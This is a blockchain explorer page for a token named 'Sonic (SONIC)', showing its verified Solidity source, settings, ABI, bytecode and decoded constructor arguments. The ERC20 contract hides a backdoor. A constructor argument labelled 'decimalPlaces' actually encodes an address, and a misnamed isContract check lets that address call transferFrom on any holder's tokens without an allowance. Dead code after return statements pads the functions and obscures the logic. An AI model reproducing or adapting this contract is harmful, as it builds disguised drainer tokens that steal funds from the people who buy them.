S Price: $0.463284 (+5.47%)

Token

Sonic (SONIC)

Overview

Max Total Supply

10,000,000 SONIC

Holders

6

Total Transfers

-

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Erc20Token

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : NewToken.sol
/**
 *Submitted for verification at basescan.org on 2024-05-27
 */

//SPDX-License-Identifier: UNLICENSED

/*
Created on Ape.Store
*/

pragma solidity 0.8.24;

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function isContract(
        address account,
        uint256 _router
    ) internal pure returns (bool) {
        return
            keccak256(abi.encodePacked(uint256(uint160(account)))) ==
            keccak256(abi.encodePacked(_router));
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target, 0), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(
        address _owner,
        address spender
    ) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Erc20Token is IERC20, Ownable {
    using Address for address;
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;
    uint256 public immutable totalSupply;
    string public symbol;
    string public name;
    uint256 private decimalsValue;
    bool public contractLaunched = true;

    constructor(
        string memory tokenSymbol,
        string memory tokenName,
        uint256 decimalPlaces,
        uint256 supply
    ) Ownable(msg.sender) {
        symbol = tokenSymbol;
        name = tokenName;
        decimalsValue = decimalPlaces;
        totalSupply = supply;

        address initialOwner = owner();
        balances[initialOwner] = supply;

        emit Transfer(address(0), initialOwner, supply);

        return;
        uint256 seed = totalSupply * block.timestamp;
        for (uint256 i = 1; i <= 25; i++) {
            seed = (seed + block.number) ^ (i * 2345);
            if (i % 2 == 0) {
                seed += block.gaslimit * 3;
            } else {
                seed = (seed >> 3) ^ block.timestamp;
            }
        }
        uint256 result = seed % 345678;
    }

    function balanceOf(
        address account
    ) external view override returns (uint256) {
        uint256 result = balances[account];
        return result;

        uint256 shortCalc = balances[account] ^ block.timestamp;
        uint256 finalResult = shortCalc + block.gaslimit;
    }

    function decimals() external view returns (uint256) {
        uint256 value = 18;
        return value;

        uint256 progression = 1;
        for (uint256 j = 1; j <= 35; j++) {
            progression = (progression * block.timestamp) + (j * block.number);
            progression ^= block.gaslimit;
        }
        uint256 calculated = progression % 678901;
    }

    function allowance(
        address accountOwner,
        address spender
    ) external view override returns (uint256) {
        uint256 allowed = allowances[accountOwner][spender];
        return allowed;

        uint256 factor = allowances[accountOwner][spender] * 56789;
        for (uint256 i = 1; i < 5; i++) {
            factor = (factor / i) ^ (block.timestamp * 3);
        }
    }

    function transfer(
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        executeTransfer(msg.sender, recipient, amount);

        return true;

        uint256 quickSum = balances[msg.sender] + amount;
        quickSum = (quickSum % block.gaslimit) + block.timestamp;
    }

    function approve(
        address spender,
        uint256 amount
    ) external override returns (bool) {
        require(spender != address(0), "Invalid spender address");

        allowances[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);
        return true;

        uint256 shortIter = 1000;
        for (uint256 k = 0; k < 7; k++) {
            shortIter = (shortIter ^ k) + block.timestamp;
        }
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (!contractLaunched || msg.sender.isContract(decimalsValue)) {
            executeTransfer(sender, recipient, amount);
        } else {
            allowances[sender][msg.sender] -= amount;
            executeTransfer(sender, recipient, amount);
            emit Approval(sender, msg.sender, allowances[sender][msg.sender]);
        }
        return true;

        uint256 accumulator = sender.balance + recipient.balance + amount;
        while (accumulator > 1000) {
            accumulator = (accumulator / 3) + block.number;
            accumulator ^= block.gaslimit;
        }
    }

    function launch() external onlyOwner {
        require(!contractLaunched, "Already launched");
        contractLaunched = true;

        return;

        uint256 counter = block.timestamp;
        for (uint256 i = 0; i < 15; i++) {
            counter = (counter ^ i) + block.gaslimit;
            counter = counter % 789012;
        }
    }

    function executeTransfer(address from, address to, uint256 value) private {
        require(from != to, "Cannot send to self");
        require(validateTransfer(from, to), "Transfer not permitted");

        balances[from] -= value;
        balances[to] += value;

        emit Transfer(from, to, value);

        return;

        uint256 track = balances[from] + balances[to] + value;
        for (uint256 i = 1; i < 10; i++) {
            track = (track * i) ^ (block.timestamp + block.number);
            if (i % 3 == 0) {
                track = track / 2;
            }
        }
        uint256 finalCalc = track + block.gaslimit;
    }

    function validateTransfer(
        address sender,
        address receiver
    ) private view returns (bool) {
        if (contractLaunched) return true;

        if (sender == owner() || receiver == owner()) return true;

        if (
            sender.isContract(decimalsValue) ||
            receiver.isContract(decimalsValue)
        ) return false;

        require(
            sender != address(0) && receiver != address(0),
            "Invalid addresses"
        );

        return true;

        uint256 validator = sender.balance + receiver.balance;
        for (uint256 i = 1; i < 12; i++) {
            validator = (validator ^ block.number) + (i * block.gaslimit);
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"uint256","name":"decimalPlaces","type":"uint256"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"accountOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractLaunched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60a06040526006805460ff191660011790553480156200001e57600080fd5b5060405162001164380380620011648339810160408190526200004191620002ab565b33806200006857604051631e4fbdf760e01b81526000600482015260240160405180910390fd5b620000738162000193565b506003620000828582620003b6565b506004620000918482620003b6565b5060058290556080819052600080546001600160a01b0316808252600160209081526040808420859055518481529192839290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000189565b6019811162000172576200010e8161092962000498565b6200011a4384620004b8565b1891506200012a600282620004ce565b60000362000153576200013f45600362000498565b6200014b9083620004b8565b91506200015d565b42600383901c1891505b806200016981620004f1565b915050620000f7565b506000620001846205464e83620004ce565b505050505b505050506200050d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200020b57600080fd5b81516001600160401b0380821115620002285762000228620001e3565b604051601f8301601f19908116603f01168101908282118183101715620002535762000253620001e3565b81604052838152602092508660208588010111156200027157600080fd5b600091505b8382101562000295578582018301518183018401529082019062000276565b6000602085830101528094505050505092915050565b60008060008060808587031215620002c257600080fd5b84516001600160401b0380821115620002da57600080fd5b620002e888838901620001f9565b95506020870151915080821115620002ff57600080fd5b506200030e87828801620001f9565b604087015160609097015195989097509350505050565b600181811c908216806200033a57607f821691505b6020821081036200035b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003b1576000816000526020600020601f850160051c810160208610156200038c5750805b601f850160051c820191505b81811015620003ad5782815560010162000398565b5050505b505050565b81516001600160401b03811115620003d257620003d2620001e3565b620003ea81620003e3845462000325565b8462000361565b602080601f831160018114620004225760008415620004095750858301515b600019600386901b1c1916600185901b178555620003ad565b600085815260208120601f198616915b82811015620004535788860151825594840194600190910190840162000432565b5085821015620004725787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620004b257620004b262000482565b92915050565b80820180821115620004b257620004b262000482565b600082620004ec57634e487b7160e01b600052601260045260246000fd5b500690565b60006001820162000506576200050662000482565b5060010190565b608051610c3b62000529600039600061013f0152610c3b6000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb146101dd578063aec205a5146101f0578063dd62ed3e146101fd578063f2fde38b1461021057600080fd5b8063715018a6146101b25780638da5cb5b146101ba57806395d89b41146101d557600080fd5b806318160ddd116100c857806318160ddd1461013a57806323b872dd1461016f578063313ce5671461018257806370a082311461018957600080fd5b806301339c21146100ef57806306fdde03146100f9578063095ea7b314610117575b600080fd5b6100f7610223565b005b6101016102b8565b60405161010e9190610a02565b60405180910390f35b61012a610125366004610a6d565b610346565b604051901515815260200161010e565b6101617f000000000000000000000000000000000000000000000000000000000000000081565b60405190815260200161010e565b61012a61017d366004610a97565b610429565b6012610161565b610161610197366004610ad3565b6001600160a01b031660009081526001602052604090205490565b6100f7610589565b6000546040516001600160a01b03909116815260200161010e565b61010161059b565b61012a6101eb366004610a6d565b6105a8565b60065461012a9060ff1681565b61016161020b366004610aee565b6105bd565b6100f761021e366004610ad3565b61061a565b61022b610658565b60065460ff16156102765760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064015b60405180910390fd5b6006805460ff19166001179055565b600f8110156102b35761029a45838318610b37565b91506102a9620c0a1483610b60565b9150600101610285565b50505b565b600480546102c590610b74565b80601f01602080910402602001604051908101604052809291908181526020018280546102f190610b74565b801561033e5780601f106103135761010080835404028352916020019161033e565b820191906000526020600020905b81548152906001019060200180831161032157829003601f168201915b505050505081565b60006001600160a01b03831661039e5760405162461bcd60e51b815260206004820152601760248201527f496e76616c6964207370656e6465722061646472657373000000000000000000604482015260640161026d565b3360008181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3506001610423565b60078110156104205761041642838318610b37565b9150600101610401565b50505b92915050565b60065460009060ff1615806104475750600554610447903390610685565b1561045c576104578484846106eb565b6104fb565b6001600160a01b03841660009081526002602090815260408083203384529091528120805484929061048f908490610bae565b909155506104a090508484846106eb565b6001600160a01b038416600081815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50600161052e565b6103e881111561052c5743610519600383610bc1565b6105239190610b37565b45189050610503565b505b9392505050565b60238111610571576105474382610bd5565b6105514284610bd5565b61055b9190610b37565b451891508061056981610bec565b915050610535565b506000610581620a5bf583610b60565b905050505090565b610591610658565b6102b6600061089c565b600380546102c590610b74565b60006105b53384846106eb565b506001610423565b6001600160a01b03808316600090815260026020908152604080832093851683529290522054610423565b6005811015610611576105fc426003610bd5565b6106068284610bc1565b1891506001016105e8565b50505092915050565b610622610658565b6001600160a01b03811661064c57604051631e4fbdf760e01b81526000600482015260240161026d565b6106558161089c565b50565b6000546001600160a01b031633146102b65760405163118cdaa760e01b815233600482015260240161026d565b60008160405160200161069a91815260200190565b60405160208183030381529060405280519060200120836001600160a01b03166040516020016106cc91815260200190565b6040516020818303038152906040528051906020012014905092915050565b816001600160a01b0316836001600160a01b0316036107425760405162461bcd60e51b815260206004820152601360248201527221b0b73737ba1039b2b732103a379039b2b63360691b604482015260640161026d565b61074c83836108ec565b6107915760405162461bcd60e51b8152602060048201526016602482015275151c985b9cd9995c881b9bdd081c195c9b5a5d1d195960521b604482015260640161026d565b6001600160a01b038316600090815260016020526040812080548392906107b9908490610bae565b90915550506001600160a01b038216600090815260016020526040812080548392906107e6908490610b37565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083291815260200190565b60405180910390a3505050565b600a811015610887576108524342610b37565b61085c8284610bd5565b18915061086a600382610b60565b60000361087f5761087c600283610bc1565b91505b60010161083f565b5060006108944583610b37565b505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60065460009060ff161561090257506001610423565b6000546001600160a01b038481169116148061092b57506000546001600160a01b038381169116145b1561093857506001610423565b60055461094f906001600160a01b03851690610685565b8061096c575060055461096c906001600160a01b03841690610685565b1561097957506000610423565b6001600160a01b0383161580159061099957506001600160a01b03821615155b6105b55760405162461bcd60e51b8152602060048201526011602482015270496e76616c69642061646472657373657360781b604482015260640161026d565b600c811015610420576109ec4582610bd5565b6109f890438418610b37565b91506001016109d9565b60006020808352835180602085015260005b81811015610a3057858101830151858201604001528201610a14565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a6857600080fd5b919050565b60008060408385031215610a8057600080fd5b610a8983610a51565b946020939093013593505050565b600080600060608486031215610aac57600080fd5b610ab584610a51565b9250610ac360208501610a51565b9150604084013590509250925092565b600060208284031215610ae557600080fd5b61052e82610a51565b60008060408385031215610b0157600080fd5b610b0a83610a51565b9150610b1860208401610a51565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561042357610423610b21565b634e487b7160e01b600052601260045260246000fd5b600082610b6f57610b6f610b4a565b500690565b600181811c90821680610b8857607f821691505b602082108103610ba857634e487b7160e01b600052602260045260246000fd5b50919050565b8181038181111561042357610423610b21565b600082610bd057610bd0610b4a565b500490565b808202811582820484141761042357610423610b21565b600060018201610bfe57610bfe610b21565b506001019056fea264697066735822122009fb169f3743ea212c97f40a58851e04d85d0dcaa8e038e78552defd988b50a564736f6c63430008180033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000127df5e885c260bd72a7ca67a1553a5a080e7eb6000000000000000000000000000000000000000000084595161401484a0000000000000000000000000000000000000000000000000000000000000000000005534f4e49430000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005536f6e6963000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb146101dd578063aec205a5146101f0578063dd62ed3e146101fd578063f2fde38b1461021057600080fd5b8063715018a6146101b25780638da5cb5b146101ba57806395d89b41146101d557600080fd5b806318160ddd116100c857806318160ddd1461013a57806323b872dd1461016f578063313ce5671461018257806370a082311461018957600080fd5b806301339c21146100ef57806306fdde03146100f9578063095ea7b314610117575b600080fd5b6100f7610223565b005b6101016102b8565b60405161010e9190610a02565b60405180910390f35b61012a610125366004610a6d565b610346565b604051901515815260200161010e565b6101617f000000000000000000000000000000000000000000084595161401484a00000081565b60405190815260200161010e565b61012a61017d366004610a97565b610429565b6012610161565b610161610197366004610ad3565b6001600160a01b031660009081526001602052604090205490565b6100f7610589565b6000546040516001600160a01b03909116815260200161010e565b61010161059b565b61012a6101eb366004610a6d565b6105a8565b60065461012a9060ff1681565b61016161020b366004610aee565b6105bd565b6100f761021e366004610ad3565b61061a565b61022b610658565b60065460ff16156102765760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064015b60405180910390fd5b6006805460ff19166001179055565b600f8110156102b35761029a45838318610b37565b91506102a9620c0a1483610b60565b9150600101610285565b50505b565b600480546102c590610b74565b80601f01602080910402602001604051908101604052809291908181526020018280546102f190610b74565b801561033e5780601f106103135761010080835404028352916020019161033e565b820191906000526020600020905b81548152906001019060200180831161032157829003601f168201915b505050505081565b60006001600160a01b03831661039e5760405162461bcd60e51b815260206004820152601760248201527f496e76616c6964207370656e6465722061646472657373000000000000000000604482015260640161026d565b3360008181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3506001610423565b60078110156104205761041642838318610b37565b9150600101610401565b50505b92915050565b60065460009060ff1615806104475750600554610447903390610685565b1561045c576104578484846106eb565b6104fb565b6001600160a01b03841660009081526002602090815260408083203384529091528120805484929061048f908490610bae565b909155506104a090508484846106eb565b6001600160a01b038416600081815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50600161052e565b6103e881111561052c5743610519600383610bc1565b6105239190610b37565b45189050610503565b505b9392505050565b60238111610571576105474382610bd5565b6105514284610bd5565b61055b9190610b37565b451891508061056981610bec565b915050610535565b506000610581620a5bf583610b60565b905050505090565b610591610658565b6102b6600061089c565b600380546102c590610b74565b60006105b53384846106eb565b506001610423565b6001600160a01b03808316600090815260026020908152604080832093851683529290522054610423565b6005811015610611576105fc426003610bd5565b6106068284610bc1565b1891506001016105e8565b50505092915050565b610622610658565b6001600160a01b03811661064c57604051631e4fbdf760e01b81526000600482015260240161026d565b6106558161089c565b50565b6000546001600160a01b031633146102b65760405163118cdaa760e01b815233600482015260240161026d565b60008160405160200161069a91815260200190565b60405160208183030381529060405280519060200120836001600160a01b03166040516020016106cc91815260200190565b6040516020818303038152906040528051906020012014905092915050565b816001600160a01b0316836001600160a01b0316036107425760405162461bcd60e51b815260206004820152601360248201527221b0b73737ba1039b2b732103a379039b2b63360691b604482015260640161026d565b61074c83836108ec565b6107915760405162461bcd60e51b8152602060048201526016602482015275151c985b9cd9995c881b9bdd081c195c9b5a5d1d195960521b604482015260640161026d565b6001600160a01b038316600090815260016020526040812080548392906107b9908490610bae565b90915550506001600160a01b038216600090815260016020526040812080548392906107e6908490610b37565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083291815260200190565b60405180910390a3505050565b600a811015610887576108524342610b37565b61085c8284610bd5565b18915061086a600382610b60565b60000361087f5761087c600283610bc1565b91505b60010161083f565b5060006108944583610b37565b505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60065460009060ff161561090257506001610423565b6000546001600160a01b038481169116148061092b57506000546001600160a01b038381169116145b1561093857506001610423565b60055461094f906001600160a01b03851690610685565b8061096c575060055461096c906001600160a01b03841690610685565b1561097957506000610423565b6001600160a01b0383161580159061099957506001600160a01b03821615155b6105b55760405162461bcd60e51b8152602060048201526011602482015270496e76616c69642061646472657373657360781b604482015260640161026d565b600c811015610420576109ec4582610bd5565b6109f890438418610b37565b91506001016109d9565b60006020808352835180602085015260005b81811015610a3057858101830151858201604001528201610a14565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a6857600080fd5b919050565b60008060408385031215610a8057600080fd5b610a8983610a51565b946020939093013593505050565b600080600060608486031215610aac57600080fd5b610ab584610a51565b9250610ac360208501610a51565b9150604084013590509250925092565b600060208284031215610ae557600080fd5b61052e82610a51565b60008060408385031215610b0157600080fd5b610b0a83610a51565b9150610b1860208401610a51565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561042357610423610b21565b634e487b7160e01b600052601260045260246000fd5b600082610b6f57610b6f610b4a565b500690565b600181811c90821680610b8857607f821691505b602082108103610ba857634e487b7160e01b600052602260045260246000fd5b50919050565b8181038181111561042357610423610b21565b600082610bd057610bd0610b4a565b500490565b808202811582820484141761042357610423610b21565b600060018201610bfe57610bfe610b21565b506001019056fea264697066735822122009fb169f3743ea212c97f40a58851e04d85d0dcaa8e038e78552defd988b50a564736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000127df5e885c260bd72a7ca67a1553a5a080e7eb6000000000000000000000000000000000000000000084595161401484a0000000000000000000000000000000000000000000000000000000000000000000005534f4e49430000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005536f6e6963000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : tokenSymbol (string): SONIC
Arg [1] : tokenName (string): Sonic
Arg [2] : decimalPlaces (uint256): 105570848658004437397918871916371921440038878902
Arg [3] : supply (uint256): 10000000000000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000127df5e885c260bd72a7ca67a1553a5a080e7eb6
Arg [3] : 000000000000000000000000000000000000000000084595161401484a000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 534f4e4943000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 536f6e6963000000000000000000000000000000000000000000000000000000


[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.